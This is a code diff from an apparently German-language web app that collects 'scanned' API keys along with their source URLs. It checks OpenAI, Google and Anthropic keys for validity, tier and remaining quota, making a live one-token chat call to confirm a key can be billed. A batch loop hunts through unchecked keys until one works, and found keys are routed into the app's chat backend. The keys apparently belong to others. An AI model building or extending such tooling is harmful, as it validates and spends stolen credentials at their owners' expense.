checkMsg = $"🔍 {typeName} geprüft: {status} · Plan: {result.Plan} · Usage 7d: {result.Usage7d?.ToString("F2") ?? "n/a"} · Usage 5h: {result.Usage5h?.ToString("F2") ?? "n/a"} · {keyPrefix}"; + AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, plan = result.Plan, usage_7d = result.Usage7d, usage_5h = result.Usage5h, source_url = sk.SourceUrl })); } else if (type == "openai_project" || type == "openai_service" || type == "openai_legacy") { var result = await OpenAiKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey); var status = result.Status == "ok" ? "valid" : result.Status; await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null); + var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}"; + AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl })); } else if (type == "google_api") { var result = await GoogleKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey); var status = result.Status == "ok" ? "valid" : result.Status; await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null); + var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}"; + AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl })); } else { // Andere Key-Typen: Typ korrekt setzen, kein Check möglich await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, "unchecked", type, null, null); + AddLog("key_checked", $"⏭️ {typeName} übersprungen (kein Checker) · {keyPrefix}"); } } catch (Exception ex) { - _logger.LogWarning("Key-Check fehlgeschlagen für {Id}: {Msg}", sk.ScannedKeyId, ex.Message); + AddLog("error", $"Key-Check fehlgeschlagen für {typeName} ({keyPrefix}): {ex.Message}"); await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, "error", "Unknown", null, null); } } diff --git a/Services/OpenAiKeyChecker.cs b/Services/OpenAiKeyChecker.cs index 2254f19..c2d739e 100644 --- a/Services/OpenAiKeyChecker.cs +++ b/Services/OpenAiKeyChecker.cs @@ -40,14 +40,28 @@ namespace Gott.Services if (statusCode == 429) { - // Rate-Limited → Key existiert, ist aber gerade nicht nutzbar + // 429 kann Rate-Limit ODER Quota-Exceeded sein → Body prüfen + try + { + var errBody = await resp.Content.ReadAsStringAsync(); + var errDoc = JsonDocument.Parse(errBody); + if (errDoc.RootElement.TryGetProperty("error", out var errObj) + && errObj.TryGetProperty("code", out var codeProp)) + { + var code = codeProp.GetString(); + if (code == "insufficient_quota") + return new OpenAiCheckResult { Status = "quota_exceeded", Message = "Kein Guthaben / Quota erschöpft (429)" }; + } + } + catch { /* Body nicht parsbar → als Rate-Limit behandeln */ } + return new OpenAiCheckResult { Status = "rate_limited", Message = "Rate Limited (429)" }; } if (statusCode >= 400) return new OpenAiCheckResult { Status = "error", Message = "API-Fehler (" + statusCode + ")" }; - // 200 OK → Key ist gültig + // 200 OK → Key existiert, Modelle extrahieren var body = await resp.Content.ReadAsStringAsync(); var doc = JsonDocument.Parse(body); @@ -56,21 +70,11 @@ namespace Gott.Services if (resp.Headers.TryGetValues("openai-organization", out var orgValues)) org = orgValues.FirstOrDefault(); - // Rate-Limits aus Headern - int? rpm = null; - int? tpm = null; - if (resp.Headers.TryGetValues("x-ratelimit-limit-requests", out var rpmVals) - && int.TryParse(rpmVals.FirstOrDefault(), out var rpmVal)) - rpm = rpmVal; - if (resp.Headers.TryGetValues("x-ratelimit-limit-tokens", out var tpmVals) - && int.TryParse(tpmVals.FirstOrDefault(), out var tpmVal)) - tpm = tpmVal; - // Modell-Liste extrahieren (nur die interessantesten) string[] models = Array.Empty(); if (doc.RootElement.TryGetProperty("data", out var data)) { - var interestingPrefixes = new[] { "gpt-4", "gpt-3.5", "o1", "o3", "o4" }; + var interestingPrefixes = new[] { "gpt-5", "gpt-4", "gpt-3.5", "o1", "o3", "o4", "chatgpt" }; models = data.EnumerateArray() .Select(m => m.GetProperty("id").GetString()) .Where(id => interestingPrefixes.Any(p => id.StartsWith(p, StringComparison.OrdinalIgnoreCase))) @@ -81,7 +85,8 @@ namespace Gott.Services // Plan-Erkennung anhand der Modelle string plan; - if (models.Any(m => m.StartsWith("o3", StringComparison.OrdinalIgnoreCase) + if (models.Any(m => m.StartsWith("gpt-5", StringComparison.OrdinalIgnoreCase) + || m.StartsWith("o3", StringComparison.OrdinalIgnoreCase) || m.StartsWith("o4", StringComparison.OrdinalIgnoreCase))) plan = "Tier 5+"; else if (models.Any(m => m.StartsWith("gpt-4o", StringComparison.OrdinalIgnoreCase))) @@ -93,8 +98,31 @@ namespace Gott.Services else plan = "Free"; + // Schritt 2: Echten Chat-Call mit max_tokens=1 um Quota zu prüfen + // /v1/models gibt 200 auch bei quota_exceeded Keys! + var usable = await CheckQuotaAsync(client, apiKey); + var msg = plan + " · Org: " + (org ?? "?") + " · " + models.Length + " Modelle"; - if (rpm.HasValue) msg += " · " + rpm.Value + " RPM"; + + // Rate-Limits aus dem Chat-Call-Header (falls verfügbar) + if (usable.Rpm.HasValue) msg += " · " + usable.Rpm.Value + " RPM"; + if (usable.Tpm.HasValue) msg += " · " + usable.Tpm.Value + " TPM"; + + if (!usable.HasQuota) + { + var reason = usable.QuotaError == "billing_not_active" + ? "Billing inaktiv" + : "Kein Guthaben"; + return new OpenAiCheckResult + { + Status = "quota_exceeded", + Message = "⚠️ " + msg + " · " + reason, + Organization = org, + Models = models, + RateLimitRpm = usable.Rpm, + RateLimitTpm = usable.Tpm + }; + } return new OpenAiCheckResult { @@ -102,8 +130,8 @@ namespace Gott.Services Message = msg, Organization = org, Models = models, - RateLimitRpm = rpm, - RateLimitTpm = tpm + RateLimitRpm = usable.Rpm, + RateLimitTpm = usable.Tpm }; } catch (Exception ex) @@ -111,5 +139,68 @@ namespace Gott.Services return new OpenAiCheckResult { Status = "error", Message = ex.Message }; } } + + private class QuotaResult + { + public bool HasQuota { get; set; } + public string QuotaError { get; set; } + public int? Rpm { get; set; } + public int? Tpm { get; set; } + } + + private static async Task CheckQuotaAsync(HttpClient client, string apiKey) + { + try + { + var chatReq = new HttpRequestMessage(HttpMethod.Post, "https://api.openai.com/v1/chat/completions"); + chatReq.Headers.Authorization = new AuthenticationHeaderValue("Bearer", apiKey); + chatReq.Content = new StringContent( + "{\"model\":\"gpt-4o-mini\",\"messages\":[{\"role\":\"user\",\"content\":\"hi\"}],\"max_tokens\":1}", + System.Text.Encoding.UTF8, "application/json"); + + var chatResp = await client.SendAsync(chatReq); + var chatStatus = (int)chatResp.StatusCode; + + int? rpm = null; + int? tpm = null; + if (chatResp.Headers.TryGetValues("x-ratelimit-limit-requests", out var rpmVals) + && int.TryParse(rpmVals.FirstOrDefault(), out var rpmVal)) + rpm = rpmVal; + if (chatResp.Headers.TryGetValues("x-ratelimit-limit-tokens", out var tpmVals) + && int.TryParse(tpmVals.FirstOrDefault(), out var tpmVal)) + tpm = tpmVal; + + if (chatStatus == 429) + { + try + { + var errBody = await chatResp.Content.ReadAsStringAsync(); + var errDoc = JsonDocument.Parse(errBody); + if (errDoc.RootElement.TryGetProperty("error", out var errObj) + && errObj.TryGetProperty("code", out var codeProp) + ) + { + var code = codeProp.GetString(); + if (code == "insufficient_quota" || code == "billing_not_active") + { + return new QuotaResult { HasQuota = false, QuotaError = code, Rpm = rpm, Tpm = tpm }; + } + } + } + catch { } + + // Echtes Rate-Limit → Key hat Quota, ist nur temporär blockiert + return new QuotaResult { HasQuota = true, Rpm = rpm, Tpm = tpm }; + } + + // 200 = funktioniert, alles andere = vermutlich trotzdem nutzbar + return new QuotaResult { HasQuota = chatStatus < 400, Rpm = rpm, Tpm = tpm }; + } + catch + { + // Bei Netzwerkfehler etc. → optimistisch annehmen + return new QuotaResult { HasQuota = true }; + } + } } } diff --git a/Services/OpenAiService.cs b/Services/OpenAiService.cs index 58a7bfa..b5eeb6d 100644 --- a/Services/OpenAiService.cs +++ b/Services/OpenAiService.cs @@ -1,6 +1,7 @@ using System; using System.Collections.Generic; using System.IO; +using System.Linq; using System.Net.Http; using System.Net.Http.Headers; using System.Text; @@ -24,7 +25,7 @@ public class OpenAiService private readonly ToolService _toolService; // Provider-Keys (statisch für ChatService.ResolveModelId) - public static readonly HashSet ProviderKeys = new() { "nvidia", "pollinations", "gemini" }; + public static readonly HashSet ProviderKeys = new() { "nvidia", "pollinations", "gemini", "openai" }; // Provider-Definitionen (inkl. API-Keys, instanzgebunden) private readonly Dictionary Providers; @@ -152,6 +153,7 @@ public class OpenAiService private List _nvidiaModels = new List(); private List _pollinationsModels = new List(); private List _geminiModels = new List(); + private List _openaiModels = new List(); private readonly string _cacheFile; public OpenAiService(IHttpClientFactory httpFactory, DatabaseService db, ToolService toolService, Microsoft.Extensions.Configuration.IConfiguration configuration, string dataDir) @@ -162,9 +164,10 @@ public class OpenAiService _cacheFile = Path.Combine(dataDir, "models_cache.json"); Providers = new Dictionary { - ["nvidia"] = ("https://g4f.space/api/nvidia/v1", ""), - ["pollinations"] = ("https://text.pollinations.ai/openai", ""), - ["gemini"] = ("https://generativelanguage.googleapis.com/v1beta/openai", configuration["GeminiApiKey"] ?? "") + ["nvidia"] = ("https://g4f.space/api/nvidia/v1", ""), + ["pollinations"] = ("https://text.pollinations.ai/openai", ""), + ["gemini"] = ("https://generativelanguage.googleapis.com/v1beta/openai", configuration["GeminiApiKey"] ?? ""), + ["openai"] = ("https://api.openai.com/v1", "") // Key kommt dynamisch aus DB }; } @@ -184,7 +187,8 @@ public class OpenAiService _nvidiaModels = cache.ContainsKey("nvidia") ? cache["nvidia"] : new List(); _pollinationsModels = cache.ContainsKey("pollinations") ? cache["pollinations"] : new List(); _geminiModels = cache.ContainsKey("gemini") ? cache["gemini"] : new List(); - Console.WriteLine($"[OpenAiService] Modelle aus Cache geladen: {_nvidiaModels.Count} Nvidia, {_pollinationsModels.Count} Pollinations, {_geminiModels.Count} Gemini"); + _openaiModels = cache.ContainsKey("openai") ? cache["openai"] : new List(); + Console.WriteLine($"[OpenAiService] Modelle aus Cache geladen: {_nvidiaModels.Count} Nvidia, {_pollinationsModels.Count} Pollinations, {_geminiModels.Count} Gemini, {_openaiModels.Count} OpenAI"); return; } } @@ -211,6 +215,21 @@ public class OpenAiService else Console.WriteLine("[OpenAiService] GeminiApiKey nicht konfiguriert – Gemini-Modelle nicht geladen."); + // OpenAI: Key aus DB holen (erster aktiver OpenAI-Key) + var openaiKey = await _db.GetFirstActiveKeyByProvider("openai"); + if (!string.IsNullOrEmpty(openaiKey)) + { + var allOpenAi = await FetchModels("https://api.openai.com/v1/models", "OpenAI", openaiKey); + // Nur Chat-Modelle filtern (gpt-*, o1-*, o3-*, o4-*, chatgpt-*) + _openaiModels = allOpenAi + .Where(m => m.Id.StartsWith("gpt-") || m.Id.StartsWith("o1-") || m.Id.StartsWith("o3-") || m.Id.StartsWith("o4-") || m.Id.StartsWith("chatgpt-")) + .OrderBy(m => m.Id) + .ToList(); + Console.WriteLine($"[OpenAiService] {_openaiModels.Count} OpenAI Chat-Modelle gefiltert (von {allOpenAi.Count} total)."); + } + else + Console.WriteLine("[OpenAiService] Kein aktiver OpenAI API-Key in DB – OpenAI-Modelle nicht geladen."); + // Cache speichern try { @@ -218,7 +237,8 @@ public class OpenAiService { ["nvidia"] = _nvidiaModels, ["pollinations"] = _pollinationsModels, - ["gemini"] = _geminiModels + ["gemini"] = _geminiModels, + ["openai"] = _openaiModels }; var json = JsonSerializer.Serialize(cache, new JsonSerializerOptions { WriteIndented = true }); await File.WriteAllTextAsync(_cacheFile, json); @@ -276,6 +296,7 @@ public class OpenAiService public List GetNvidiaModels() => _nvidiaModels; public List GetPollinationsModels() => _pollinationsModels; public List GetGeminiModels() => _geminiModels; + public List GetOpenAiModels() => _openaiModels; /// /// Gibt den Provider und das eigentliche Modell-ID aus einem kombinierten Model-String zurück. @@ -308,6 +329,7 @@ public class OpenAiService string sessionId = null, string agentId = null, int maxIterations = 10, + string apiKeyOverride = null, CancellationToken workCt = default, CancellationToken sseCt = default) { @@ -337,6 +359,10 @@ public class OpenAiService return; } + // API-Key Override: User-Key aus DB hat Vorrang vor hardcoded Provider-Key + if (!string.IsNullOrEmpty(apiKeyOverride)) + providerConfig = (providerConfig.BaseUrl, apiKeyOverride); + try { // OpenAI-kompatibles Messages-Format aufbauen diff --git a/wwwroot/index.html b/wwwroot/index.html index 06f1fc8..91d80b7 100644 --- a/wwwroot/index.html +++ b/wwwroot/index.html @@ -192,6 +192,9 @@ + + + @@ -572,6 +575,8 @@ diff --git a/wwwroot/js/pages/agent-page.js b/wwwroot/js/pages/agent-page.js index 7cfffe6..9e096fa 100644 --- a/wwwroot/js/pages/agent-page.js +++ b/wwwroot/js/pages/agent-page.js @@ -21,6 +21,7 @@ registerPage('agent', { const nvidiaOptgroup = document.getElementById('nvidiaOptgroup'); const pollinationsOptgroup = document.getElementById('pollinationsOptgroup'); const geminiOptgroup = document.getElementById('geminiOptgroup'); + const openaiOptgroup = document.getElementById('openaiOptgroup'); // Modelle dynamisch laden const loadProviderModels = async (url, prefix, optgroup) => { @@ -35,13 +36,16 @@ registerPage('agent', { opt.textContent = m.displayName; optgroup.appendChild(opt); } + } else if (optgroup) { + optgroup.remove(); } } catch (e) { - if (optgroup) optgroup.innerHTML = ''; + if (optgroup) optgroup.remove(); } }; await Promise.all([ + loadProviderModels('/api/models/openai', 'openai', openaiOptgroup), loadProviderModels('/api/models/nvidia', 'nvidia', nvidiaOptgroup), loadProviderModels('/api/models/pollinations', 'pollinations', pollinationsOptgroup), loadProviderModels('/api/models/gemini', 'gemini', geminiOptgroup) diff --git a/wwwroot/js/pages/api-keys-page.js b/wwwroot/js/pages/api-keys-page.js index fc7c832..a2b7b54 100644 --- a/wwwroot/js/pages/api-keys-page.js +++ b/wwwroot/js/pages/api-keys-page.js @@ -137,8 +137,8 @@ registerPage('api-keys', { statusLine.className = 'admin-user-meta'; statusLine.style.cssText = 'padding:0 var(--box-padding) .5rem;display:none;font-size:.85em'; - // Check (nur Anthropic) – rechts neben Usage-Badge - if (key.provider === 'anthropic') { + // Check – rechts neben Usage-Badge + if (key.provider === 'anthropic' || key.provider === 'openai' || key.provider === 'google') { var checkBtn = document.createElement('button'); checkBtn.className = 'icon-btn'; checkBtn.title = 'Key prüfen'; @@ -324,6 +324,7 @@ registerPage('api-keys', { var scannedList = document.getElementById('scannedKeysList'); var scannedKeys = []; var selectedType = null; + var checkUncheckedAbort = false; var pollTimer = null; var typeNames = { @@ -405,10 +406,71 @@ registerPage('api-keys', { backName.innerHTML = ' Zurück zur Übersicht'; backInfo.appendChild(backName); backRow.appendChild(backInfo); - backRow.addEventListener('click', function() { selectedType = null; loadSummary(); }); + backRow.addEventListener('click', function() { selectedType = null; checkUncheckedAbort = true; loadSummary(); }); scannedList.appendChild(backRow); + // Toolbar: "Ungeprüfte prüfen"-Button var visibleKeys = scannedKeys.filter(function(sk) { return sk.adoptedApiKeyId == null; }); + var uncheckedKeys = visibleKeys.filter(function(sk) { return sk.status === 'unchecked'; }); + if (uncheckedKeys.length > 0) { + var toolbar = document.createElement('div'); + toolbar.style.cssText = 'display:flex;align-items:center;gap:8px;padding:8px var(--box-padding);border-bottom:1px solid var(--border)'; + + var checkUncheckedBtn = document.createElement('button'); + checkUncheckedBtn.className = 'section-add-btn'; + checkUncheckedBtn.innerHTML = ' ' + uncheckedKeys.length + ' Ungeprüfte prüfen'; + + var progressSpan = document.createElement('span'); + progressSpan.className = 'admin-user-meta'; + progressSpan.style.marginLeft = '8px'; + + toolbar.appendChild(checkUncheckedBtn); + toolbar.appendChild(progressSpan); + scannedList.appendChild(toolbar); + + checkUncheckedBtn.addEventListener('click', async function() { + checkUncheckedAbort = false; + checkUncheckedBtn.disabled = true; + + var stopBtn = document.createElement('button'); + stopBtn.className = 'icon-btn'; + stopBtn.title = 'Abbrechen'; + stopBtn.innerHTML = ''; + stopBtn.addEventListener('click', function() { checkUncheckedAbort = true; }); + toolbar.appendChild(stopBtn); + + var checked = 0; + var found = 0; + for (var i = 0; i < uncheckedKeys.length; i++) { + if (checkUncheckedAbort) { + progressSpan.textContent = 'Abgebrochen bei ' + checked + '/' + uncheckedKeys.length; + break; + } + var sk = uncheckedKeys[i]; + progressSpan.textContent = (i + 1) + '/' + uncheckedKeys.length + ' prüfe…'; + checkUncheckedBtn.innerHTML = ' ' + (i + 1) + '/' + uncheckedKeys.length; + try { + var result = await apiRecheckScannedKey(sk.scannedKeyId); + checked++; + if (result && result.status === 'valid') { + found++; + progressSpan.textContent = '✅ Gültigen Key gefunden! Stoppe.'; + showToast('Gültigen Key gefunden!', 'success'); + break; + } + } catch (err) { + checked++; + } + } + if (!checkUncheckedAbort && found === 0) { + progressSpan.textContent = checked + ' geprüft, keinen gültigen gefunden.'; + } + checkUncheckedBtn.disabled = false; + checkUncheckedBtn.innerHTML = ' Ungeprüfte prüfen'; + if (stopBtn.parentNode) stopBtn.parentNode.removeChild(stopBtn); + await loadScannedKeysByType(selectedType); + }); + } if (visibleKeys.length === 0) { var empty = document.createElement('div'); empty.className = 'admin-user-meta'; diff --git a/wwwroot/js/pages/chat-page.js b/wwwroot/js/pages/chat-page.js index 98f7ee5..ed68aff 100644 --- a/wwwroot/js/pages/chat-page.js +++ b/wwwroot/js/pages/chat-page.js @@ -168,6 +168,8 @@ async function _showKeySwitchModal() { var meta = document.createElement('div'); meta.className = 'key-switch-meta'; var parts = []; + var providerLabels = { anthropic: '🟤 Anthropic', openai: '🟢 OpenAI', google: '🔵 Google' }; + parts.push(providerLabels[key.provider] || key.provider || 'Anthropic'); if (key.plan) parts.push(key.plan); if (key.status) parts.push(key.status === 'valid' ? '✅' : '⚠️'); meta.textContent = parts.join(' · ');